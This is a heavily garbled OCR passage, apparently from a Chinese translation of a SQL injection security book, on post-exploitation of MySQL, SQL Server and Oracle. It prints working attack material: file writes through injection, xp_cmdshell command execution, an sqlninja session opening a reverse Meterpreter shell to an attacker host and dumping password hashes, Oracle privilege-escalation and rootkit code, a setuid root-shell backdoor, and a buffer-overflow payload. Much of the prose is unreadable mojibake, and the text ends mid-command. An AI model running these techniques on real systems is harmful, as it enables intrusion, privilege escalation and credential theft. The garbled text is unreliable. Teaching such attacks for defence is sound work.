& A K5 2K SO (dumpfile RVFS Z8EHIC4F). 0.

mysql> select 'This is a test' into outfile '/tmp/test.txt';
Query OK,1 row affected (0.00 sec)

FRESTEAmMp HFHEIE T 5 test.txt 3044

$ cat test.txt

This is a test

LN FEIZERAE IR 8. E2IBATTH AR MySQL M, 7EH 6-16 1, A1X X
2294 ) /tmp/sp.txt L5 N SensePost 2008
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L aln e bl il @ hitp:/ Jintranet/cgi-bin/customer.pl v -

Search | nto dumpfile ‘ftmp/sp.txt'# | ( Submit )

B 6-16 {¥F3 into DUMPFILE 53

FH FHHRR TR &

aaa' union select NULL,' SensePost 2008\n' into dumpfile '/tmp/sp.txt' #

B F AR B FIE 45 R UABH IEFTELAR S0, BRATE A aaa MR, FHTFRMEH
NULL 3RPCECS) ¥ ABH{R union RIFVEM. BRAVEAMRE dumpfile(fo 5t — 2k &| 3 4)mdE
outfile, XHF—Xk, BEREHLER —ITHLMRH .

FMRATER, HRBAEE/mp BRPEIRT sp.ixt LH-

% cat test.txt
SensePost 2008

MR G s HI SR at, FTRAEA MySQL P B HEX ¥, BRATIFE IR
GEE AR, RS, ALERAR R ERE— A MySQL P E ) UNHEXQR 3

mysql> select UNHEX('5365E7365506F7374203038");

e +
| UNHEX('53656E7365506F7374203038") |
T D it T +
| SensePost 08 |

L e E e e +

1 row in set (0.00 sec)

fEBNIXF A S, BRATET LG ROk RS RES MEM AR KA RES SHHX
P[RR, XHRSEATIEND. ERENEEHSEREXXFFREROTIEZ, &
HULET W F LB E A HIFE K R AR X www.apache.org SR 1% .
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AR EHRE apache.org B
2000 % 5 A, Apache %4 £ (Apache Web IR 435 a9 0 - H )0y T ML R 2 MR F, M0
ET “Powered By Microsoft BackOffice” #7&. #li&iX —&A4EA|44 A {}# Hardbeat /£
www.dataloss.net/papers/how.defaced.apache.org.txt L5 T “‘ﬂ £ # “How we defaced
www.apache.org” #9X ¥, st E#fTT L.
X)Lk B Bl A —A fipd R EARKIRT 7 FR, ZEF Web BRHH
AR B F EAE T —A N RE49 Web shell, XA shell A3 5& 4 vA nobody F 7 & #riE AT1KAR
FRay shell. AbfiIik Hf 46344 T R ey F
‘it KA EZE, RIMNAIH MySQL £¥A root Al £ S riEATHH BB AT
9. ®F apache.org JEf£iE4T BugZilla, #/64 %%—/> MySQL K7 5 E BugZilla & ¥ &,
ASTERP AR P L/, BfTARESHFE MySQL S A6 A P &/04,”
(E%: AHRRRL, X2RBRT —Lm%, ) :
“ERIRAT R A 3306 3% 2 6935 FIAE, BT REAERE ‘bugs (A TL
FlAR[4eFl £ “all Y's” P RARAIARIR. X £ 25 8 T2+ BugZilla README #9389
ik, CRFT Ak gk P FEGRA all Ys), 2R AERS 2LEE, &
3 “don’t run mysql as root”.
“PLAE RAVT 4R A SELECT ...INTO OUTFILE FEA£4T45 B vA root & 44 3 X 4+,
Wk LA T 666 X, EMFHEBEMALR. RARRBEAM.”
“R LA ) A i A BAT AR? B rhosts IAFEA A, BB AR A 65 tshd 24
— B AT B &Y thosts X 4. stot, rshd BAFEATEZEEN.”

/*
* our /root/.teshre
=0

“PIT VA BAN R R I0)UA KA trojan 6§ des’ . BAEA ‘test’ KIEZGIRT —A
REE—F 2L, CaLd—/ 80 NFHNFHR, LEHIAT LFRFINATiEE
T—4%&. ALELKMA T —A/root/tcshre, HAEEMT:

#!/bin/sh

cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc

iy '

*:ROOT! !

54
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“RAREE. MEFHAA su'. BRFEIE, 152] 9 AMA root RIRGISEA P, &
AR, BT agRELIREE. 464 root AP, BAVREZRT IR, B4 KT
—AN 48 093 E R T Bl R Fe b ik 5 B k. KRB RA, AMA—AERR LA T
#e.

“BAN2T Apache F 32 7 H AKX ILAIR/S bY BUEL Z 4 A BT R 84 7 s R AR,
RAAMARMNSA ABT ERAAF, BNILESHE KEF )

AL
{}#= Hardbeat’

LIBATFERIR R S BRI BB A A SQL YEN, {HANBUR T B E404 SQL R&-2
BRI Tl AL = AT AR 2 4

FHERS S LR )G, &F M RESTE— T EaEh Fag—i
FF 2 X B #$(UDF). NGS Software 22 @] Chris Anley 7E AL AT HackProofing
MySQL 4R T W G — 4 UDF RAE LI MySQL xp_cmdshell KITNfE. MAFEE,
In— UDF(H#E MySQL FHH R ¥ UDF 4 i— AN 048I T, 2 J5 7 L& A CREATE
FUNCTION 4! DROP FUNCTION B A RS- 28 7 00 B RIX A3t 8 S04

2. Microsoft SQL Server

] LA{SE P BUTE A 48 (K 3R BR SCA4 49 scripting filesystem BT R A R M ) S RS S
Anley FIWRICRR UL T %%, A 6-17 Bis.

4 SOL Query Analyzer - [Query - localha naster.sa - LD

‘declare @line varchar (8000) ;
"'exec sp_oacreate 'scripting.filesystemobiject', fo out;
. exec sp_oamethod @o, 'createtextfile', @f out, 'c:\temp)\test.txt',
. exec fretc = sp_oamethod @£, ‘writeline', NULL, 'Testing FS Writing'

he command(s) completed successfully.

A 6-17 1/ sp oacreate EX &%

L s R2—HEIRHA GRS,
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o AT LU 2 AR RS — BRSO, NI R AR T A B R 1% & IR AR
xf FaxPpE oL, A LAE R Al %) B ifT 4k filesystemobject, EL4N ADODB.Stream.

Microsoft SQL Server 34t T 1 Fl SQL Server [ #f (41t & 52 I A2 Fr(BCP) K MBI TR B2
paiiol sk

C:\temp>bcp "select name from sysobjects" queryout testout.txt -c -s
127.0.0.1 -U sa -p""

Starting copy...

1000 rows successfully bulk-copied to host-file. Total received: 1000
1311 rows copied.

Network packet size (bytes): 4096

Clock Time {ms.): total 16

% T SQL FE NI KV % # 4 30k P #54# A bep B xp_cmdshell REJESCMF, & SQL
AT A48 xp_cmdshell 53 B30 SQL Server X LAt . TEH B AAHAF, EHE
SE )38 B F>> ) 18 SUA SO

exec xp_cmdshell 'echo This is a test > c:\temp\test.txt’'
exec xp cmdshell ‘echo This is line 2 >> c:\temp\test.txt'
exec xp _cmdshell 'echo This is line 3 >> c:\temp\test.txt'

AR — B4 B E R R (EE i) SeBIE— A debug.exe WA, RIFHEfLiES
debug.exe LA _BEHI SO

C:\temp>debug < demo.scr

-n demo.com

-e 0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
-e 0010 B8 00 00 00 00 00 00 00 40 00 00 0O 00 00 0O 00
-e 0040 0E 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68
—e 0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
-e 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
-e 0070 6D 6F 64 65 2E 0D 0D OA 24 00 00 00 00 00 00 00

~rcx

Cc¥ 0000

:4200

-w 0

Writing 04200 bytes

!

C:\temp>dir demo*

2008/12/27 03:18p 16,896 demo.com
2005/11/21 11:08a 61,280 demo.scr

(KR AT ER RS debug.exe MBERIE/N T 64KB I ATHRIT XA HIBEIRT LA —T

seAFRVEFI B E shell RG] 200 FHLUUT, XARMRAMIERS . WRHLELH XA L
fe AR, WA LLKZ SRS R Bk, B3k 64KB, 20 B EA, BJEFERA DOS
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i) copy fr &K EANHEE—i.

copy /b chunk-l.exe + chunk2.exe_ + .. + chunk-n.exe original-file.exe

BT debug.exe I THIE . com 30, BITMTWIREAMH debug MERTHAT O, MITFE#hnf
BHATRRSHESE copy & —RMH, M E3 T AEMEBIT T4 R REHTEIE K .com
X E M A exeo

WEFiT

SQL FEARH
2008 4, 2354 A0 XT3 /69 B 48 (Black Haty k& £, K %% —4 & Justin Clarke &+
TABESEIER 6 SQL EAKE R, CHM T AFINRGREBA, Wb, TEAM
— A W 69434065 FARASRI A A Web 355, X235 4% A Microsoft SQL Server 4 %
B 6 BT ERLLNEET W, 1FBRARRKIEST xp_cmdshell).

G RAVR AT @ A48 49 debug.exe EAHE K% DBMS LA —H A Fehal A, 25l
I PATHE &R 641242 52 BI(1EF) xp_cmdshell) e 4k 4k 4448,

R RBER RIS EOEE, 2AAR SQL EAAAEIFeH AN, H1e
H T AEVA XA 77 X RAZ ) Rl (19 SQL i AFRAR)HAE 4 iRl K 0 — 3R 4, B Jo % R
FBRNZAZNGT SN,

T A 3% F] www.gdssecurity.com/l/b/2008/08/21/overview-of-sql-injection-worms-for-
fun-and-profit/vA IR X F i 4% 269 £ %15 8.,

HETRIFFEA debugexe HAETHATM. MBEMAHKE Windows R4, M2k
Sec-1 2+ & Automagic SQL Injector(www.sec-1.com). i% LT R4 —MEBIRA, aTLI%% —
RERISTAF BB EM Y scr M, ZEFEI echo Ar4SE.sor CHHITFAAIE . Automagic
B E— KR 7 UDP shell Al—/N 3344 88 (fscan.exe).

BSh, RERRSMUT UNIX HBRERSE, MIATLIEH Sqlninja(http:/sqlninja.sourceforgenef)
RFCRRILES . BATES 4 T HODRIFHTBENT Sqininja, A% THELERE T 240 /LA THEE.
THFIH T e rshaE:

BREFIE TR RS B (A . P HUTHE R . BUR. RIFER)
HRREARIEN, BAOBRAKAEERODS

EAERT BT SO

E-T TCP 1 UDP (W E MK [ shell

ToH B BT ) DNS B3 =X, shell

o FBEAR, BREBNERN/BP RLDS/IPS)H Web N7 F [ K 1 # U 3 ) JL 2,

Sqlninja JEEEAL T Metasploit(www.metasploit.com). 21 5 525 3K B 3137 PRS0 FE (0 5 38 R AL
R, HEHEDFE AT EREERR ) IR TCP #10, W LRI % SQL HAR



EeE FRARERSG

TEKIE A Metasploit 145, ELAI Meterpreter(—#h D E 38K (¥ #y 44782 )88 VNC DLL Dynamic
Link Library, 788 (RIRIREBO T2 $oif 4 iR 55 88 i B FE A6 U5 []). Sqlninja FOE M 49
HT - AMEM Flash HIFERT VNC HEAMBERBIE . £ FHREABS, EBALUES AL
FIRARE. CRRT RS LM 0L RBRERLKNIE SQL Server HNAMBA). X
HEEgxtfh 7R, WERALTHATIRALIM T k.

root@nightblade ~ # ./sglninja -m metasploit
Sglninja rel. 0.2.3-rl
Copyright (C) 2006-2008 icesurfer <root@northernfortress.net>
[+] Parsing configuration file..........
[+] Evasion technique(s):
- query hex-encoeding
- comments as separator
[+] Target is: www.victim.com
[+] Which payload you want to use?
1l: Meterpreter
2: VNC
> 1 <=--- we select the Meterpreter payload
[+] which type of connection you want to use?
1: bind_tcp
2: reverse_tcp
> 2 <--- we use a reverse shell on port 443
[+] Enter local port number
> 443
[+] Calling msfpayload3 to create the payload...
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse tcp
Length: 177
Options: exitfunc=process, lport=12345,lhost=192,168.217.128
[+] Payload (metl3322.exe) created. Now converting it to debug script
[+] Uploading /tmp/metl3322.scr debug script..<--- we upload the paylocad
103/103 lines written
done !
[+] Converting script to executable... might take a while
<snip>
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (www.,attacker.com:12345 ->

WWw.victim.com:1343) <--- the payload was uploaded and started
meterpreter > use priv <--- we load the priv extension of meterpreter
Loading extension priv...success.

meterpreter > hashdump <--- and finally extract the hashes
Administrator:500:aad3b435b51404eeafd3b435b51404ee:31d6cfe0dl6ae938b73c
59d7e0c089c0:::

ASPNET:1007:8%a3b1d42d45421179%¢cfdl7eceel570:e3200ed357d74e5d782ae8d60a296F52: 1
Guest:501:aad3b435b51104eecaad3b435b51404ee:31d6cfeldl6ae931b73c59d770c08%0: ¢« ;
IUSR VICTIM:1001:491c44543256d2cB8c50be094a8ddd267:5681649752a67d765775fF

235
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c6069b50920:
IWAN_VICTIM:1002:clBecll92d26469f85?a45dda7dfaell:c3dab0ad3710e208b4?99
caldaa4d3447:::
TsInternetUser:1000:03bd869c8694066£405a502d17el2a7¢c:73dBd060fedds90498
311bab5754c968:::

meterpreter >

BRINT ! LIRS R AR ME R G O A AR Hin e B B RS S TR BT H .

SQL Server 2005 CLR #EmFABEHUE T - FRETE RS0 L 4md SIS A% H) it il SR B 77
B, RTiXEEAIEGIERSESAE NET BITHHBRIAMEE P NET 4iiFd$. Microsoft 7E
%windir% \Microsoft. NET\Framework\VerXX\ H 3% * B T csc.exe fr & 4T4m1Fa . VX EBRA Al LA
13 FHLAR [ 0 B A AT 63— AN 8 csc.exe SRiFAS SRR EIMAMEE, WK 6-18 s,

EXEC WAELEr..xp_cmdshell "echo uUsing System; »»)CEmp)Ledt.can

exec master..xp cmdshell “echo using Syscem.Data: *») camp cest . cu*

exec master..xp_credshell "echo using System.Data.Sql: >>\templtest.cs”

exec master. . wp _cmdshsll "echo using System.Daca. 5qiTypes; >>\temp)test.cs®

exec master..¥p _cwdshell "echo using Nicrosoft.3gl3ervecr.Server: >»\ cemph test.ca”

exec master..xp_cmdshell "echo public parctial class StoredProcedures =3\ cemp)\ cest.ca™
exec master. . xp_cwdshell "echo { >>\temp)ceat.ca®

mxec master..xp cmdshell "acho [SglProcedure] >3\ Lemp\ test.ca”

exec master..xp cmdshel)l "echo public stacic void HelloWor ld3toredProcedurs [ ) >>\tempitestc.cs”
exec waster..xp_cmdshell "echo { >>\tempitesc.cs”

exac master..xp_cmdshell ‘echo 3qlContext.Pipe. Send(”Hello sorld.\n*): >»\templiest.cs’
exec master..xp cmdshell "echo } >>)\temp)test.cs”

exec master..xp cmdshell Yecho }: >>\tempi\tesc.ca®

Exes master..xp cwmdshell O\ WINDOUS\ Microscto MET\ Freameworkivi .G, S50T727\oss Jrarger: ithrary Jout:ieiitempirest . dll cilrempitest.cs

B 6-18 7F SQL Server b 1{# ] csc.exe 4aiF - i dilic

B 6-18 194 F-IE T — AN HLMNET P30, 25 csc.exe BHZ LA 4iIFERL SQL
Server 1 c:\temp H % FI—4 DLL 3Cfh. BIEZRERESEA—FARMBERGH IR, A
AR B 1 B B AR W AZESE AW B DLL 2247 (%windir%\system32\dllcache\csc.exe)Z #h
WILIETT csc.exe RAFFHE .

3. Oracle

Oracle 1 FRIFEFEAE B ROV U AR, AIER TSI 5i%:
e utl file

e DBMS_ADVISOR

o HMEFE

e Java

o BERZMSHERE R
[ Oracle 9i LASK, utl file 7] LAZE SCfF R4 E'E —3EHIRED . T HU B ARS8 B0 iR 55
22 F ) C:IR B3R 249 UNIX B2 AU T — A>3 3CH hello.com:

Create or replace directory EXT AS 'C:\';

DECLARE fi UTL FILE.FILE TYPE;

bu RAW(32767);

BEGIN

bu:=hextoraw ('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C40
2CD20C35589E5B801005008D451A50BR0F00508D5D00FFD383C40689EC5DC3558BECEBSE
088B4E048B5606B280040CD21730231C08BESSDC39048656C6CH6F2C20576F726C64210D0A") ;
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fi:=UTL FILE.fopen('EXT', 'hello.com','w',32767);
UTL_FILE.put raw(fi,bu, TRUE);
UTL_FILE.fclose(fi);

END;

!

DBMS_ADVISOR 7] 58 J& 1) 8 3 1 [ S P 77

create directory EXT as 'C:\'
exec S5YS. DBMS_ADVISOR.CREATE FILE ( 'first row',' EXT', 'vietim.txt')

H Oracle 10g LA, nT LA FISH R A& — MU 5 P 4001014 S04

create directory EXT as 'C:\';

CREATE TABLE ext write (

myline)

ORGANIZATION EXTERNAL

(TYPE oracle_datapump

DEFAULT DIRECTORY EXT

LOCATION ('wvictim3.txt'))

PARALLEL

AS

SELECT 'I was here ' from dual UNION SELECT name| |'='| |password from sSys.user$;

ATEAAE Macro Ivaldi ) Web FT (i 1 www.0xdeadbeef.info/exploits/raptor_oraexec.sql)_L#%

F| Java ;RBILHE .

6.3 PATHRMK R GHHSH

BNEREMRG BT HLSELZF AN . BT R R BN ARILAS, FHASHRITHE

IR R A IEAT K 2 BOBE e R 55 28 B T BT FR s Gt I OBLPR .- Xt Apache [Z 2RI A Z &
KFEHE—/ Mt nobody I /7 ID ) shell({R BT BE 47 T2 BREFEE ). Ak, %t DBMS B E2E4 3
mHE, WJLFE AR R B KA R . 7€ Windows H1, IXFHAXPRIE % /& System 454X

BHENIT

AA A 44F)H RDBMS 1 B IhEEH 8 SQL IR HEEHITRIER LGS
1. Oracle

Oracle 4t [ Z AT MIEATFHRSITRERZE G LN k. NESIEXEEEN TS

el A (B, Eid SQL*Plus)al# 7% (& Bh PL/SQL(M3E SQL)I: K A Bef# F A £ Bdn 4.

R Oracle WAMAE, H{FH FH &MARM G . Oracle EXTPROC. Java Fi

DBMS_SCHEDULER #& Oracle 21T ER L& MIEX k. XF EXTPROC H Java ¥,
AI{E T3 TR B3)SEI %R

o www. Oxdeadbeef.info/exploits/raptor_oraexec.sql
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1) DBMS_SCHEDULER
DBMS_SCHEDULER # Oracle 10g X Z S AP HBHINA, EERMAH CREATE
JOB(10g Rel. )&% CREATE EXTERNAL JOB(10g Rel.2/11)AU R . H 10.2.0.2 &, AREH L Oracle

AP S PITIRIER A4, TE DL nobody i /7 4T

--Create a Program for dbms_scheduler

exec DBMS_SCHEDULER.createﬁprogram('RD52009','EXECUTABLE‘,
'c:\WINDOWS\system32\cmd.exe /c echo Owned >> c:\rds3.txt',0,TRUE};
--Create,execute and delete a Job for dbms_scheduler

exec DBMS SCHEDULER.create job(job_name => 'RDS2009JOB’,program_name =>
'RDS2009',start_data => NULL, repeat interval => NULL,end_date =>

NULL, enabled => TRUE,auto_drop => TRUE);

2) & PL/SQL

Oracle 10g/11g "HiIAH PL/SQL &8 AFF. MBRIALR, XA Oracle 10g/11g FiATH
RS RSB RN TS, Fha4 2L Oracle Al S4404THI. 5 Java il EXTPROC Z&F- -~
FE, ZcHh PL/SQL WERFAIMESR, ME—SREMGEUEIEENRS 2% £ SPNC_COMMANDS
A AR TR AR T e R R S F B A T A PL/SQL, R4 Oracle 23T
R RITE NE.

FFACHL{# F A b PL/SQL 4 public #7F DBA #(fB. grant #r &£ 4@ HLL SYS R &
HrIET I INSERT INTO SYSAUTHS®4 . A, HAIBIET —A 44 e2.5ql E i sqlplus $7
WISCA A, sqlplus 454 7] 8 L A PL/SQL K2 31,

CREATE OR RELACE FUNCTION Fl return number

authid current_user as

pragma autonomous_transaction;

v_file UTL_FILE.FILE_TYPE;

BEGIN

EXECUTE IMMEDIATE q'!create directory TX as 'C:\'!';

begin

-- grant dba to public;

DBMS_ADVISOR.CREATE FILE ( 'insert into sys.sysauth$
values(1,4,0,null);"'|lchr(13)||chr(10)||'exit;"', 'TX', 'e2.sgql' );

end;

EXECUTE IMMEDIATE q'!drop directory TX!';

EXECUTE IMMEDIATE q'!create directory T as 'C:\ORACLE\ORALO1\PLSQL'!";
utl_file.fremove('T','spnc_commands'):

v_file := utl_file.fopen('T', 'spnc_commands','w');
utl_file.put_line(v_file, 'sglplus / as sysdba Be:\e2.sgl');
utl_file.fclose(vﬁfile);

EXECUTE IMMEDIATE q'!drop directory T!';

EXECUTE IMMEDIATE g'l!alter session set plsql_compiler_flags='NATIVE'!':
EXECUTE IMMEDIATE g''alter session set plsqlﬂnative_library_dir='C:\'I';
EXECUTE IMMEDIATE q'!create or replace procedure hl as begin null;end;!’
COMMIT;

RETURN 1;
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END;
/

3) HibA*%

B T BRI VESS, & W] LU RO I R ) AR T RER SR AT B A R GANHS, IXEThRE BT
e Alter system set events

A#h PL/SQL 9i

S EEHH + shell fLRS

B & XA

e o o

4) Alter System Set Events
Alter System Set & —Fh3EA FF 2 H(H Oracle 10g LAN), ‘BT LARE B & R 8 147K .
RSB E R ST P AT, TR PR T T s H s, Fl:

alter system set " oradbg_pathname"='/tmp/debug.sh';

5) Zits PL/SQL 9i
H 9i Rel.2 BA3k, Oracle $£4t /¥ PL/SQL iS4 3L C IS 7% AR B R i&HE, Oracle
A LME B make TR BIRBIW, BBUK calc.exe BRI o] 04T SC4F). B4:

alter system set plsgl native _make utility='cmd.exe /c echo Owned >
c:\rds.txt &';
alter session set plsql compiler flags='NATIVE';

Create or replace procedure rds as begin null;end; /

6) i XiH

2004 4, Cesar Cerrudo 2> 4fi T 35T Oracle f NUMTOYMINTERVA fl NUMTODSINTERVAL
XA R FRZE R IX R R A (12 W hitp://seclists.org/vulnwatch/2004/q1/0030.html). 7] LA
ST BUF 7R BohE e 55 2 LIZTTRIER S

SELECT NUMTOYMINTERVAL {1, 'AAAAAAARAABBBEBEBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'
| lchr(59) | {chr(79) | |chr{150) | Ichr(01l) | Ichr(141) | |chxr (68) | |chr(36) | Ichr(18) ||
chr (80) | I[chr{255) | |lchr(21) | |lechr{52) | lchr{35) | |chr{148) | |Ichr{01) | Ichr (255} 1|
chr(37) | Ichr(172) | |chr (33) | |chr(148) | |chr(01) | ichr(32) || 'echo ARE YOU SURE?
>c:\Unbreakable.txt') FRCM DUAL;

7) BEX AR

{E Oracle ¥Uig, MATEH LM QEBERKGOHIR, Rikdr & R BRFRIMTE
FEdAT . MR Gr & EHBIRE P XL B, BRISFWLHEERSE. KBERARU
FHRESHREREGS NI AR M. Hl:

e e e +
| Id | Command | Description |
e et e Fmm e ——————— +
| 1 | sglplus -s / as sysdba @report.sgl | Run a report

o - o +
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| 2 | rm /tmp/*.tmp | Daily cleanup |
o e +

£ xterm —display 192.168.2.21 Bt rm/tmp/*.tmp, Bt # 1 PC iR 54 HHHHH Oracle
AUPR (7357 1) xterm BF 1.

2. MySQL

MySQL A& 5 ASHFHAT shell f14. KEHIEM T, Bdi# ¥ MySQL RE 2271 Web ik
FHEALTR—HLE L, XBEAIIMAEEH “select into DUMPFILE” A7 HARHLEE FHxs—
MR AFLR KB T(CGD . NGS Software MK “create UDF” B{iki(www.ngssoftware.
com/papers/HackproofingMySQL.pdf) 2 MR 47 A8, B4k E) SQL I ABHAA RS L
BB A TEIE A — A iy & 4 B AR JHST AT B N2 D). 75 MySQL 5 K2 J5 FIR A< o AT LA B
HEIE AW, {HILSEHIXFRHGEIF A (B D).

3. Microsoft SQL Server

fE Microsoft SQL Server 1, FEHEAIAHRFI B KHIFIFHFE. KHERAZHBROS R
T xp_cmdshell B8R T5¥E, X B LRNLFRIR— T i S1THTRESIAITHEE. xp_cmdshell
WHERMEE, REk—i 2%, ﬁ%ﬁﬂﬁ%ﬁgﬁﬁmﬁhée B 6-19 45 T — /A
9 ipconfig Mr & BIPATH R .

yocuments and Setting... [~ [ [

.iindows ZDlﬁD Ii’ Cdntiqurat:on

Euhékheﬁ-adapter Local irea Connection 2: )

i Connection- .sp.e.c.ifi.c DNS Sutt':.x " “: . localdomain
IP Addr:ess 1 192.168.232.128
: 255.255.255.0

&l 6-19 Microsoft SQL Server F1ff] xp_cmdshell

Ak, BACKRAL SQL Server 3RIA%EM T xp_cmdshell. &7 LL{#FH SQL Server B4 ) S fE
(X A (Surface Area Configuration) AKX E ZR BE(MTFEHMRE), AHXEETEWE
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6-20 7R -

eatures - localhost

Be620 FEXAEETR

MRBEE AR LTIBR, WIZRIERDSH 8, FX7LM#ERE sp_configure B4 3
38 1145 15 2 (signaling) B IRFIT FHE .
Bl 6-21 $tB3 T {7 B H7 /5 FH Query Manager /) xp_cmdshell. Q157 Internet FREIG R
“xp_cmdshell alternative”, #F4—2 JLIRFT BB 0T . XEM FAMA T AIEST RIAL
&t T-SQL #1%h 4k Wscript.Shell 7B [ 1% o IX L2 7 R R BA 1 A BEA B IR S SO 0 77
EILFZEMF, HPBREEN T EETRORBFINEERRFUE -2 R
xp_cmdshell3 HIFEfEITFE 2.

CREATE PROCEDURE xp cmdshell3(@cmd varchar(255), @Wait int = 0) AS
—-Create WSript.Shell object
DECLARE @result int , @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = GROLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14 1, @OLEResult)
EXECUTR @OLEResult = sp_OAMethod @ShellID, 'Run', Null, €cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLFResult)
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—--If @OLEResult <> 0 EXEC sp_displaycaerrorinfo @ShellID, @GOLEResult
EXECUTE QOLEResult = sp OADestroy @5hellID

return @result

EXEC sp_configure 'show advanced optiona',
GO

RECONF IGURE;

EXEC sp_contiqurz 'xp_::mdshell' s 1

Configuration option 'show adv d options'

d from O to 1. Pun the RECONFIGURE statement to install. -
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to inscall.

Ee621 A SQL EHIEH /A A xp_cmdshell

SQL Server 2005 K 2 J& MIRUA B AL & — S AR AT X0, X198 &8 T %M T NET CLR.
33 T A BR A 36 T I (BR AT T SR BB L 28 00), B AT BB — MAFF ) SQL HEAFRFEMIE
WA BRSR )8 e AT

ZEAREFL, BAMEA CREATE ASSEMBLY $#84-{RAF SQL Server N RZE N8 4.
BAR(E A% Th e N — AN B NET b HI3c:, WA =k '

o BIEIFINE A AT BAT SCAF-

(1) ERGEFRIBTECH.

(2) W SAF R BFE R AT IAT S0

(3) M C:\temp\foo.dll il CREATE ASSEMBLY FOO.

e M UNC S ndg al $AT 304

(1) ZEA3L i Windows 3£ 416 DLL(EX EXE).

(2) M\\public_server\temp\foo.dll i} CREATE ASSEMBLY FOO.

o MAEIE I FFF B A E AT AT S0

1) flg—AAAT .

(2) K AT AT T2 B X HEX -

File.open{"moo.dll","rb") .unpack ("H*")
["4d5a90000300000004000000££££0.... . ]

(3) M 4d5a90000300000004000000£F0 ] CREATE ASSEMBLY MOO-

X SR FELE X e T AT SO T bR S R B M. 8% NET RIS
EHR. FMAANET SERMSEHABRITEER, NlhTEEN, RIETEREE
5

e SAFE:

> BATHEH
> AU R SN REUR
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e EXTERNAL ACCESS
> VriafiEs
> Pha FREE
> HRSEREIR LAY
o UNSAFE
> SN TFEAeEE
> AR AERE AR
> LL SYSTEM B H{F 24
R, RAIMEFFLLL UNSAFE AR #4304 . BELIZERF, BIITEER
RREPX B HISCHEATE S, FAFEHERSIBIEENGE. EREEAR R RX L
BALHERE, ALH MRRIpE: BEBEHFEREN “Trustworthy” W ALEFFIXFHER H .
Rk, BAMETCUASZREARLEIE —N NET #1304, REEHIRERN UNSAFE
IR FABRAET(ES LA 6-22).

alter database master set Trustworthy on
CREATE ASSEMBELY shoe FROH Ox4dS5aSO.. lﬁ'rﬁ PERMISSICN SET = unsafe

M 622 EHEIEEREN “Trustworthy” HA)H#—> UNSAFE —HEHISC

6.4 FABEiF P

—HB5ERRITP A EZEEN, FHEEBHITRESRKAZ 4. 2002 4, Chris Anley
RAT T &%+ SQL Server i) “ =FF4hT 7, & Gel It i ¥ 414 Bk ¥ (conditional jump)fXHi% 43 3 i
BEREUFEARZ LHORIE. X7EEY EFERBAE, BRINATERR ML TEE
HEATIXFRERRT, A ATTRESS 3k 5 A R itk AR 52 8 v 4 o R PR Ok .

BRI Alexander Kornbrust F1 NGS Software /A 5] f] David Litchfield K75
DA T BAEFE rootkit(—FAFBRA R KRR R MFENCIR. BNRERMEREENZE,
MBAEL rootkit FURBEIERZEI R E—H. FARFES, FTUBIMEHEEER, TRE rootkit &
SRERTET.

TFFIREIAHSIE i 8B R B —4TLI T —F Oracle rootkit.

-~ the following code must run as DBA

SQL> grant dba t hidden identifid by hidden 2009; -- create a user
hidden with DBA privileges

SQL> exec sys.kupp$proc.change user('SYS'); -- become user SYS

-- change the users recoed in sys.user$

SQL> update sys.user$ set tempts#=666 where name='HIDDEN'; -

-- does not show the user HIDDEN

SQL> select username from dba users;

-- but the connect works

5QL> connect hidden/hidden 2009
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X E R BEARRE— T _iR AR 4 A K R . Oracle f# ] ALL_USERS A1 DBA_USERS 31/
REFHFFIR, XENECES T =KENHE, Bt tempts#(EY, datats#8%, type#) it B A
FIEMME, ATUUNIFES RV E BB S,

CREATE OR REPLACE FORCE VIEW "SYS"."ALL USERS"
("USERNAME", "USER_ID", "CREATED") AS

select u.name, u.user#, u.ctime

from sys.user$ u, sys.ts$ dts, sys.ts$ tts
where u.datats# = dts.ts#

and u.tempts# = tts.ts#

and u.type# = 1

ATLA T 5 Web 3 3R EI% T Oracle rootkit )8 £45 &

e www.red-database-security.com/wp/db_rootkits us.pdf

® www. databasesecurity.com/wp/oracle-backdoors.ppt

2008 4F, & F KB EH1E# Marco Slaviero il Haroon Meer B~ T 5 B IR A< 9 SQL Server
B H8E S ——@1d http.sys(EH IS (I — P44 B BT SOAP(RIE X £ i HH) i
Web f}55. ZXRMBREIREN T 4 B PR OBt o] LA — M2 & SQL 7EfE it #2168 HTTP 1%
Urak. B 6-23 HHIEBEE LR T X—Rdd . RIVEERD, WEEHTFE, /ftest RET
Web fii 5528 ER— AN . oA (A W) RF B3R B 11 45 /test #5421 602 T ENDPOINT2 Hi 5. #
TREPHBEGE P test AEHRECHES.

sl BaR st aln

ENSEPOS-SQL..OLQueryl.sql* |

CREATE ENDPOINT endpoint2
STATE = STARTED

AS HTTP

This could have been an important page!

B 6-23 7E SQL Server A& SOAP 38 /4

FERRBIPEFNRMEIRETE, EAWER SQL Hf) CREATE ENDPOINT fr & H R EE
Web fiR %28 Li/test TUH . XL R ERZHN, EARMZL4MA http.sys 2 SQL Server I
F TR R IR,

BRRGE— DoS £MRAME, BuR%BE ALK AERIFMLRE, BATH
THMSHNBERE. FHLIRTUERRERNS, ZEHERSSE FIMEXERS, =
ERR, ERRLFTER, FEAEIE SOAP M AR, SQL Server &4 X #F sqlbatch. 3 MSDN 4
£ (http://msdn.microsoft.com/en-us/library/ms345123.aspx)*:

“RA T-SQL &4 i 3 5 L6 2 sb BB, ik 5218 X B % —F £ % ‘sqlbatch’ 8 SOAP
% . sqlbatch 7 i< iAill it SOAP R4 T-SQL & 4. ”
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IXEHAE BB AT G F PR R REA R, BATTLUR HiFsR R AR HZ K SOAP
Bt L+

username="' exec('CREATE ENDPFOINT ep2 STATE=STARTED AS HTTF (AUTHENTICATION =
